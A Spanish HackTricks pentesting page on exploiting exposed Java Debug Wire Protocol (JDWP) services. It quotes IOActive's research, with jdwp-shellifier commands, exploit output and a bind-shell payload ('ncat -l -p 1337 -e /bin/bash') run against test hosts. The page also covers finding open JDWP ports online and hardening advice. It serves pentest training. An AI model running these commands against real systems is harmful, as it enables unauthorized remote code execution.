Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00

carlospolop 63bd9641c0 f

2023-06-05 20:33:24 +02:00

15 KiB

Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
Obtén la oficial PEASS & HackTricks swag
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.

Explotación

Puedes utilizar el exploit de python ubicado en https://github.com/IOActive/jdwp-shellifier

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Descubrí que el uso de --break-on 'java.lang.String.indexOf' hace que el exploit sea más estable. Y si tienes la oportunidad de cargar una puerta trasera en el host y ejecutarla en lugar de ejecutar un comando, el exploit será aún más estable.

Normalmente, este depurador se ejecuta en el puerto 8000 y si estableces una conexión TCP con el puerto y envías "JDWP-Handshake", el servidor debería responderte con la misma cadena.
Además, puedes verificar esta cadena en la red para encontrar posibles servicios JDWP.

Al listar procesos, si encuentras la cadena "jdwk" dentro de un proceso java, probablemente tenga activo el Java Debug Wired Protocol y podrías ser capaz de moverte lateralmente o incluso escalar privilegios (si se ejecuta como root).

Más detalles

Copiado de https://ioactive.com/hacking-java-debug-wire-protocol-or-how/

Java Debug Wire Protocol

Java Platform Debug Architecture (JPDA): JDWP es un componente del sistema global de depuración de Java, llamado Java Platform Debug Architecture (JPDA)[2]. El siguiente es un diagrama de la arquitectura general:

El Debuggee consiste en una JVM con múltiples hilos que ejecuta nuestra aplicación objetivo. Para ser depurado de forma remota, la instancia de la JVM debe iniciarse explícitamente con la opción -Xdebug pasada en la línea de comandos, así como la opción -Xrunjdwp (o -agentlib). Por ejemplo, iniciar un servidor Tomcat con depuración remota habilitada se vería así:

Como se muestra en el diagrama de la arquitectura, el Java Debug Wire Protocol es el enlace central entre el depurador y la instancia de la JVM. Las observaciones sobre el protocolo incluyen:

Es un protocolo binario de red basado en paquetes.
Es principalmente sincrónico. El depurador envía un comando a través de JDWP y espera recibir una respuesta. Sin embargo, algunos comandos, como los eventos, no esperan una respuesta sincrónica. Enviarán una respuesta cuando se cumplan condiciones específicas. Por ejemplo, un BreakPoint es un evento.
No utiliza autenticación.
No utiliza cifrado.

Todas estas observaciones tienen total sentido ya que estamos hablando de un protocolo de depuración. Sin embargo, cuando un servicio de este tipo se expone a una red hostil o está orientado a Internet, las cosas podrían salir mal.

Handshake: JDWP dicta[9] que la comunicación debe iniciarse con un simple handshake. Tras una conexión TCP exitosa, el depurador (cliente) envía la cadena ASCII de 14 caracteres "JDWP-Handshake". El Debuggee (servidor) responde a este mensaje enviando exactamente la misma cadena. El siguiente rastro de scapy[3] muestra el handshake inicial de dos vías:

root:~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg # ./run_scapy

Welcome to Scapy (2.2.0-dev)
>>> sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0007 15:49:30.407636 Ether / IP / TCP 192.168.2.

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9 
[+] Targeting ‘192.168.2.9:8000’
[+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’
[+] Found Runtime class: id=466[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System ‘Mac OS X’
[+] Found User name ‘pentestosx’
[+] Found ClassPath ‘/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar’
[+] Found User home directory ‘/Users/pentestosx’
[!] Command successfully executed

Misma línea de comando, pero contra un sistema Windows y deteniéndose en un método completamente diferente:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on ‘java.lang.String.indexOf’
[+] Received matching event from thread 0x8f5
[+] Found Operating System ‘Windows 7’
[+] Found User name ‘hugsy’
[+] Found ClassPath ‘C:UsershugsyDesktopapache-tomcat-6.0.39binbootstrap.jar’
[+] Found User home directory ‘C:Usershugsy’
[!] Command successfully executed

Ejecutamos nuestro exploit para generar un shell de tipo bind con el payload "ncat -e /bin/bash -l -p 1337", contra un sistema Linux:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’
[+] Targeting ‘192.168.2.8:8000’
[+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on ‘java.net.ServerSocket.accept’
[+] Received matching event from thread 0x82a[+] Selected payload ‘ncat -l -p 1337 -e /bin/bash’
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed Success, we now have a listening socket!
root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp        0      0 0.0.0.0:1337         0.0.0.0:*               LISTEN      19242/ncat      
tcp6       0      0 :::1337              :::*                    LISTEN      19242/ncat

El exploit final utiliza esas técnicas, agrega algunas comprobaciones y envía señales de suspensión/reanudación para causar la menor interrupción posible (siempre es mejor no romper la aplicación en la que estás trabajando, ¿verdad?). Actúa en dos modos:

El modo "predeterminado" es totalmente no intrusivo y simplemente ejecuta código Java para obtener información del sistema local (perfecto para una prueba de concepto para un cliente).
Pasando la opción "cmd" se ejecuta un comando del sistema en el host remoto y, por lo tanto, es más intrusivo. El comando se realiza con los privilegios con los que se está ejecutando la JVM.

Este script de exploit fue probado con éxito contra:

Oracle Java JDK 1.6 y 1.7
OpenJDK 1.6
IBM JDK 1.6

Como Java es independiente de la plataforma por diseño, los comandos se pueden ejecutar en cualquier sistema operativo que Java admita. Bueno, esto es realmente una buena noticia para nosotros, los pentesters: el servicio JDWP abierto significa una RCE confiable. Hasta aquí todo bien.

¿Qué pasa con la explotación en la vida real?

De hecho, JDWP se usa bastante en el mundo de las aplicaciones Java. Sin embargo, los pentesters pueden no verlo con tanta frecuencia al realizar evaluaciones remotas, ya que los firewalls bloquearían (y deberían) principalmente el puerto en el que se está ejecutando. Pero esto no significa que JDWP no se pueda encontrar en la naturaleza:

En el momento de escribir este artículo, una búsqueda rápida en ShodanHQ[4] revela inmediatamente alrededor de 40 servidores enviando el saludo JDWP:

Esto es realmente un hallazgo interesante porque, como hemos visto antes, se supone que es el lado del cliente (depurador) el que inicia el diálogo.

GitHub[7] también revela un número significativo de aplicaciones de código abierto potencialmente vulnerables:

Al escanear masivamente Internet en busca de puertos específicos (tcp/8000, tcp/8080, tcp/8787, tcp/5005), se revelaron muchos hosts (que no se pueden informar aquí) que responden al saludo inicial.
Se encontraron aplicaciones "empresariales" en la naturaleza que ejecutan un servicio JDWP *por defecto* (dejar la búsqueda del número de puerto real como ejercicio para el lector curioso).

Estas son solo algunas formas de descubrir servicios JDWP abiertos en Internet. Esto es un gran recordatorio de que las aplicaciones deben someterse regularmente a revisiones de seguridad exhaustivas, los entornos de producción deben tener cualquier funcionalidad de depuración desactivada y los firewalls deben configurarse para restringir el acceso a los servicios necesarios solo para la operación normal. Permitir que cualquiera se conecte a un servicio JDWP es exactamente lo mismo que permitir una conexión a un servicio gdbserver (en lo que puede ser una forma más estable). Espero que hayas disfrutado leyendo este artículo tanto como yo disfruté jugando con JDWP. ¡Feliz JDWP pwning para todos los piratas poderosos!

Gracias

Quiero agradecer a Ilja Van Sprundel y Sebastien Macke por sus ideas y pruebas.

Referencias: